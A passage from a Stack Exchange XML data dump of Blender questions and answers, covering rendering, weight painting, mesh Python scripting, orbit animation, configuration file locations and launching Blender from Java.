settings?&lt;/p&gt;&#xA;" OwnerUserId="11032" LastEditorUserId="11065" LastEditDate="2015-01-19T08:50:51.493" LastActivityDate="2015-01-19T08:50:51.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23321" PostTypeId="2" ParentId="18455" CreationDate="2015-01-17T01:44:18.043" Score="1" Body="&lt;p&gt;The Background image being used was 1920 pixels wide times 1600 pixels height. I use the Render Regions addon. I render a scene that is wider than 1920 pixels wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The black areas are appearing in the image because the rendered image is wider than 1920 pixels. So rendering at smaller percentage scale will make the black areas smaller. The part of the image that shows what is actually being rendered will be the width (or height if height is taller than background image) of the background image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also applies to the height of rendered images and background images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertical black areas will appear if the rendered image is wider than the background image when rendering. Horizontal black areas will appear if the rendered image is taller than the background image when rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a rendered image is shorter than 1600 pixels but wider than 1920 pixels, vertical black areas will appear. If a rendered image is taller than 1600 pixels but shorter than 1920 pixels, horizontal black bars will appear in the rendered image. If a rendered image is taller and wider than the width and height of the background image, you will get some black areas in your rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This applies if you use Render Border, Render Regions addon which is a separate download, or just render an image without any additional features or addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of who who want a link (I'm not saying anyone wants a link): &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Render_Regions&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Render_Regions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6014" LastActivityDate="2015-01-17T01:44:18.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23323" PostTypeId="1" AcceptedAnswerId="23374" CreationDate="2015-01-17T02:11:51.250" Score="1" ViewCount="632" Body="&lt;p&gt;I have 2 scenes in my blend file, one for texturing and rigging, one for the actual animating and rendering. Does the rigging scene affect the animating scene?&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastActivityDate="2015-01-18T02:43:12.613" Title="Does one scene affect other scenes?" Tags="&lt;scene&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23324" PostTypeId="1" AcceptedAnswerId="23330" CreationDate="2015-01-17T02:13:51.757" Score="5" ViewCount="8541" Body="&lt;p&gt;I seem to remember being able to select different bones of a rig while in weight paint mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now when I try to do this I end up selecting a face (used for masking) instead of the bone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T6Htt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did I change this and how can I select bones while in weight paint mode?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Upon further investigation this face selection is used for masking, and bones can be selected with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't figure out where this behavior came from.. I've tested it in blender 2.69 through 2.73, and in every version blender defaults to selecting bones with plain &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; and there seems to be no way to select or enable selection of faces while in weight paint mode. I couldn't find any settings regarding masking while in weight paint either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the real question is&lt;/strong&gt;: What did I enable to allow this face selection masking feature?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-17T06:57:32.410" Title="How to select different bones while in weight paint mode?" Tags="&lt;interface&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23325" PostTypeId="1" CreationDate="2015-01-17T02:17:40.080" Score="3" ViewCount="2651" Body="&lt;p&gt;When i want to find the vertex within a mesh object that is closest to a given point in space,&#xA;i can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;p     = Vector((1,1,1))&#xA;ob    = bpy.context.object&#xA;me    = ob.data&#xA;verts = me.vertices&#xA;distances = [(v.co - p).length for v in verts]&#xA;val, idx = min((val, idx) for (idx, val) in enumerate(distances))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then idx is the index of the closest vertex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is there is a ready made function available that gives back the index of the closest vertex ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2015-01-17T11:49:54.660" Title="find the closest vertex to a point in space" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23326" PostTypeId="1" AcceptedAnswerId="23347" CreationDate="2015-01-17T02:51:32.207" Score="3" ViewCount="626" Body="&lt;p&gt;Lets say i have 2 polygons A and B where polygon B has been derived from Polygon A by an unknown(!) transformation matrix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2l8MP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have a point p that is placed somewhere on the surface of polygon A. How can i find the corresponding point p' on polygon B when i know [a,b,c,d] and [a', b', c', d'] ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2015-01-18T00:05:20.903" LastActivityDate="2015-01-18T00:05:20.903" Title="Find a corresponding point on a transformed Mesh" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23327" PostTypeId="2" ParentId="23269" CreationDate="2015-01-17T03:20:52.640" Score="5" Body="&lt;p&gt;Inspired by stacker's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built two files, one is a save_prev.py file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.ops.wm.save_mainfile()&#xA;bpy.ops.wm.quit_blender()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another one is a .bat file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for %%f in (*.blend) do (&#xA;      &amp;lt;blender_install_path&amp;gt; %%~nf.blend -P save_prev.py&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, if I installed the official Blender (for Windows) all by default, then it may be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for %%f in (*.blend) do (&#xA;      C:\PROGRA~1\BLENDE~1\Blender\blender %%~nf.blend -P save_prev.py&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, put these two files into the same folder containing all the old files, run .bat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that &lt;code&gt;-b&lt;/code&gt; parameter appears not working in this case. That is why I have to open, save and close each file by a separate save_prev.py. Not so effective, I know, but it saves a lot of manual work more or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is exactly what I want, but I still appreciate any better idea to do this.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-17T03:20:52.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23328" PostTypeId="2" ParentId="23311" CreationDate="2015-01-17T04:52:58.143" Score="17" Body="&lt;p&gt;There are several ways to do what you want here's one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an object, then and a Curve-&gt;Circle to act as the path for your orbit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt; Make sure that the origin of the curve is in the same place as the object's origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5DxIK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the object and add a &lt;strong&gt;Follow Path&lt;/strong&gt; constraint and select the curve as the path to follow. Make sure you click on &lt;strong&gt;Animate path&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/juZpW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GF48I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your object will follow that path forever and ever and ever...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mT7mG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control the speed of the orbit select the curve and change the Path Animation value to a smaller number of frames to go faster or a bigger number to go slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a9SoI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-05-09T14:54:33.670" LastActivityDate="2016-05-09T14:54:33.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23329" PostTypeId="2" ParentId="23316" CreationDate="2015-01-17T04:59:21.723" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But it did not really execute.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on my understanding of Blender, an operator cannot be directly executed.&#xA;It should be called from Blender internal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try&#xA;&lt;code&gt;&#xA;bpy.ops.object.hello_world()&#xA;&lt;/code&gt;&#xA;Where &lt;code&gt;hello_world&lt;/code&gt; is the name you registered to Blender system using &lt;code&gt;bl_idname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details if you are interested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a request of operator invoking is arrived, Blender internal(the source code looks like a factory) will create an Operator instance dynamically, and call your &lt;code&gt;execute&lt;/code&gt; function there. You should not call it yourself IMO.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but I wish to call a variable from an addon and use it in a different addon&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your case I think you may want to have some utility functions shared with other addons.&#xA;I suggest to write these utility functions as normal Python function and pass the &lt;code&gt;context&lt;/code&gt; to it from your addons.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2015-01-17T04:59:21.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23330" PostTypeId="2" ParentId="23324" CreationDate="2015-01-17T06:57:32.410" Score="4" Body="&lt;p&gt;Although the officially-suggested workflow is to select face mask by switching to Edit mode (since more powerful selection tools there), you can also quickly select faces or verts for masking In Weight Paint mode by toggling the two &lt;img src=&quot;https://i.stack.imgur.com/nMWsO.jpg&quot; alt=&quot;enter image description here&quot;&gt; buttons located on the headerbar, or simply press &lt;kbd&gt;M&lt;/kbd&gt; or &lt;kbd&gt;V&lt;/kbd&gt; to toggle them on/off.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-17T06:57:32.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23331" PostTypeId="2" ParentId="23311" CreationDate="2015-01-17T07:30:05.863" Score="10" Body="&lt;p&gt;So what to do if you have painstakingly made the orbit with keyframes and want to make them cyclic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C9sn2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could copy and paste the keyframes of the curve... Too much work again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you press &lt;kbd&gt;N&lt;/kbd&gt; you can access the numeric panel for the curves and ther you can add a cycles modifier to create cyclic motion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8HzA.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-17T07:30:05.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23332" PostTypeId="2" ParentId="23326" CreationDate="2015-01-17T08:54:03.783" Score="3" Body="&lt;p&gt;I will assume that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your polygons are planar.&lt;/li&gt;&#xA;&lt;li&gt;The transformation matrix represents a projective transformation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By this assumption the problem can be solved using 2D projective transform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general there are following steps in this solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use 3 vertices to construct a 2D frame(I name it M) of A.&lt;/li&gt;&#xA;&lt;li&gt;Project all vertices of A, and your input vertex p into M of A;&#xA;project all vertices of B into M of B. I call these projected vertices as PA[0], PA[1], ..., PA[3], PP, PB[0], ..., PB[3].&lt;/li&gt;&#xA;&lt;li&gt;Compute a 2D projective transform(name it T) between PA and PB.&lt;/li&gt;&#xA;&lt;li&gt;Compute the destination vertex of PP using T. I call the result vertex as PPB.&lt;/li&gt;&#xA;&lt;li&gt;Transform back(un-project) the PPB to get the final result, the corresponding vertex of p in B.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are some sample codes. I use numpy here, so you may modify it to use &lt;code&gt;bpy.mathutils.Vector&lt;/code&gt; and &lt;code&gt;bpy.mathutils.Matrix&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Construct 2D frame&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def Construct2DFrame(p0, p1, p2):&#xA;    u = [p1[0] - p0[0], p1[1] - p0[1], p1[2] - p0[2]]&#xA;    h = [p2[0] - p0[0], p2[1] - p0[1], p2[2] - p0[2]]&#xA;    n = np.cross(u, h)&#xA;    v = np.cross(n, u)&#xA;    m = np.matrix([u, v, n]).T&#xA;    return m&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compute a 2D projective transform&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def ComputeProjectiveTransform2D(src, dst):&#xA;    # src and dst are lists of 4 2D coordinates.&#xA;    u = lambda i : src[i][0]&#xA;    v = lambda i : src[i][1]&#xA;    x = lambda i : dst[i][0]&#xA;    y = lambda i : dst[i][1]&#xA;&#xA;    a = [&#xA;        [u(0), v(0), 1, 0, 0, 0, -u(0) * x(0), -v(0) * x(0)],&#xA;        [u(1), v(1), 1, 0, 0, 0, -u(1) * x(1), -v(1) * x(1)],&#xA;        [u(2), v(2), 1, 0, 0, 0, -u(2) * x(2), -v(2) * x(2)],&#xA;        [u(3), v(3), 1, 0, 0, 0, -u(3) * x(3), -v(3) * x(3)],&#xA;        [0, 0, 0, u(0), v(0), 1, -u(0) * y(0), -v(0) * y(0)],&#xA;        [0, 0, 0, u(1), v(1), 1, -u(1) * y(1), -v(1) * y(1)],&#xA;        [0, 0, 0, u(2), v(2), 1, -u(2) * y(2), -v(2) * y(2)],&#xA;        [0, 0, 0, u(3), v(3), 1, -u(3) * y(3), -v(3) * y(3)],&#xA;    ]&#xA;&#xA;    m = np.matrix(a, dtype=np.double)&#xA;    rhs = np.array([x(0), x(1), x(2), x(3), y(0), y(1), y(2), y(3)],&#xA;        dtype=double)&#xA;    s = np.linalg.solve(m, rhs)&#xA;&#xA;    return np.matrix([&#xA;            s[0:3],&#xA;            s[3:6],&#xA;            [s[6], s[7], 1]&#xA;        ])&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cs.cmu.edu/~ph/texfund/texfund.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.cs.cmu.edu/~ph/texfund/texfund.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This provides all the theoretical background of this solution. You can start reading from section 2.2.3.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2015-01-17T08:54:03.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23333" PostTypeId="2" ParentId="23314" CreationDate="2015-01-17T09:59:46.873" Score="2" Body="&lt;p&gt;The addon seems to be broken due to api changes in Blender, either use the addons &lt;a href=&quot;http://blender2scs.tk/news-feed/report-error&quot; rel=&quot;nofollow&quot;&gt;bug tracker&lt;/a&gt; or try an older version of Blender that is compatible. According to the video tutorials version 2.66 was used. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-17T09:59:46.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23334" PostTypeId="2" ParentId="23292" CreationDate="2015-01-17T10:10:31.707" Score="4" Body="&lt;p&gt;The closest thing is the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Add_3d_Function_Surface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add_3d_Function_Surface&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/607/generate-curve-from-equation&quot;&gt;Generate curve from equation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1371/organic-yet-accurate-modeling-with-the-golden-spiral/1440#1440&quot;&gt;Organic yet accurate modeling with the golden spiral&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-01-17T10:10:31.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23336" PostTypeId="1" AcceptedAnswerId="23652" CreationDate="2015-01-17T11:04:27.547" Score="3" ViewCount="1599" Body="&lt;p&gt;I've imported a file and it seems corrupted, it in not due to Blender.&#xA;But I wonder if this &quot;corrupted&quot; mesh is still usable or not?&#xA;Originally, it was a haircut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch to edit mode, nothing is shown and I cant use &quot;make edge/face&quot;.&#xA;It says &quot;more vertices are needed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the file: &lt;a href=&quot;http://www.mediafire.com/download/5sk6acagdbu7ea0/untitled.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/5sk6acagdbu7ea0/untitled.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C5aOp.png&quot; alt=&quot;mesh corrupted&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In fact,  the problem can't be solved in Blender itself, as the tool used to import/export the .m2 file will mess up the result in-game, even if it looks ok in Blender.&lt;/p&gt;&#xA;" OwnerUserId="10983" LastEditorUserId="2217" LastEditDate="2015-02-21T03:18:06.873" LastActivityDate="2015-02-21T03:18:06.873" Title="Mesh displayed as dots" Tags="&lt;mesh&gt;&lt;import&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23337" PostTypeId="2" ParentId="23336" CreationDate="2015-01-17T11:35:14.340" Score="3" Body="&lt;p&gt;You are in edge select mode, this is why you can not select single vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfjHl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the leftmost of the marked buttons, then you can select vertices again.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-17T11:35:14.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23338" PostTypeId="1" AcceptedAnswerId="23381" CreationDate="2015-01-17T11:49:19.743" Score="24" ViewCount="24518" Body="&lt;p&gt;I need to reinstall Blender but I want to backup my startup file first. Where is this data stored?&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2018-07-01T09:28:54.480" Title="Where is the startup file stored?" Tags="&lt;blend-files&gt;&lt;installation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23339" PostTypeId="2" ParentId="23325" CreationDate="2015-01-17T11:49:54.660" Score="5" Body="&lt;p&gt;I don't think that there is a single function for that, but you can use the &lt;code&gt;mathutils.kdtree&lt;/code&gt; module to query closest points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you sort the vertices of your mesh into a kd-tree you can just call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;co, index, dist = my_kd_tree.find(p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;co&lt;/code&gt; will contain the coordinates of the closest point, &lt;code&gt;index&lt;/code&gt; its index and &lt;code&gt;dist&lt;/code&gt; the distance between &lt;code&gt;p&lt;/code&gt; and the closest point. See the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/mathutils.kdtree.html&quot; rel=&quot;noreferrer&quot;&gt;module documentation&lt;/a&gt; for the complete example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to query many closest points, using the kd-tree will be much faster than iterating over all vertices.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-17T11:49:54.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23340" PostTypeId="2" ParentId="23338" CreationDate="2015-01-17T11:54:34.563" Score="6" Body="&lt;p&gt;I don't know where it is stored, but you could just save your startup file as a normal .blend file, open it in the new blender installation and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to set this file as your new startup file.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-01-17T11:54:34.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23341" PostTypeId="2" ParentId="23338" CreationDate="2015-01-17T12:01:50.493" Score="32" Body="&lt;p&gt;The configuration files are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/preferences/introduction.html#startup-file&quot; rel=&quot;noreferrer&quot;&gt;startup.blend&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;userpref.blend&lt;/strong&gt;, bookmarks.txt, recent-files.txt, &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Windows&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following files are stored in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%APPDATA%\Blender Foundation\Blender\2.73\config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;%APPDATA%&lt;/code&gt; points to &lt;code&gt;C:\Users\&amp;lt;UserName&amp;gt;\AppData\Roaming&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In more recent versions of Windows it will be in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\&amp;lt;UserName&amp;gt;\AppData\Roaming\Blender Foundation\Blender\&amp;lt;VersionNumber&amp;gt;\config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that AppData is a hidden folder, you can change directory to AppData from the command line.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Linux&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The Linux versions stores the same files at this path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/&amp;lt;UserName&amp;gt;/.config/blender/2.73/config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;OS X&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For OS X, the config files can be located at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/&amp;lt;UserName&amp;gt;/Library/Application Support/Blender/2.73/config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Library folder is also likely to be hidden by default so you may have to look up how to unhide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://www.blender.org/manual/en/getting_started/installing/configuration/directories.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.blender.org/manual/en/getting_started/installing/configuration/directories.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2016-10-14T10:53:45.120" LastActivityDate="2016-10-14T10:53:45.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23342" PostTypeId="1" CreationDate="2015-01-17T12:12:20.487" Score="1" ViewCount="364" Body="&lt;p&gt;Like in the title am I trying to start Blender via Java. It works pretty good. I am on Windows and do the following java command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process process = new ProcessBuilder(&quot;cmd&quot;, &quot;/c&quot;, &quot;pathToBlendfile\\blendFile.blend&quot;).start();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have a script that does what it should except for a few things. The script seems to be running BEFORE the blender windows are there. It works great with simple things like creating / moving / scaling / etc objects. The problem is with poll()-methods like setting the 3D-Cursor to an object, moving objects to a 3D-cursor etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set sleeps in hope to have Blender fully loaded before the &quot;need 3D-view&quot; part of the script starts but Blender will stay grey until the sleep is over, hit me with several errors and just stops the scripts right there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking like 2-3 hours for some sort of python-code saying something like &quot;waitTilBlenderIsLoaded()&quot; or something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this awesome community have some kind of idea? :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any kind of help!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="7971" LastEditorUserId="29" LastEditDate="2015-01-17T12:23:23.353" LastActivityDate="2015-02-17T03:39:21.820" Title="Starting Blender via Java-Code and autorun a script" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-02-17T06:10:33.443" ContentLicense="CC BY-SA 3.0" />
  <row Id="23343" PostTypeId="2" ParentId="23336" CreationDate="2015-01-17T12:38:16.890" Score="3" Body="&lt;p&gt;For some reason your file the visibility of many objects is switched off you can toggle this in the outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/al9L6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt; to unhide all.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-01-17T12:38:16.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23345" PostTypeId="1" AcceptedAnswerId="23376" CreationDate="2015-01-17T13:00:56.473" Score="0" ViewCount="221" Body="&lt;p&gt;I want to optimize the volume of the intersection of 4 cameras(not blender camera). I assume that the camera FOV(vertical:70.6 grad and horizontal:60 grad) is a mesh(pyramid with the same FOV angle). I can rotate the 4 of the cameras but I can't change the position of them. Now I put 3 Boolean modifiers on mesh 1 with the operation Intersect and the objects are the other 3 cameras. The Boolean modifier is good because we can rotate it real time without destroying the object. Now what I want to do is counting the volume of the intersection of all of them real-time(I see the volume changing as I rotate the camera. I am using 3D  Printing Toolbox with the Statistic button. Why wouldn't the volume change(always about 443) although I am making the intersection bigger or smaller. Am I doing it wrong? Thanks&lt;img src=&quot;https://i.stack.imgur.com/HqL2H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8396" LastActivityDate="2015-01-18T03:06:29.217" Title="Showing the volume using 3D Printing Toolbox" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
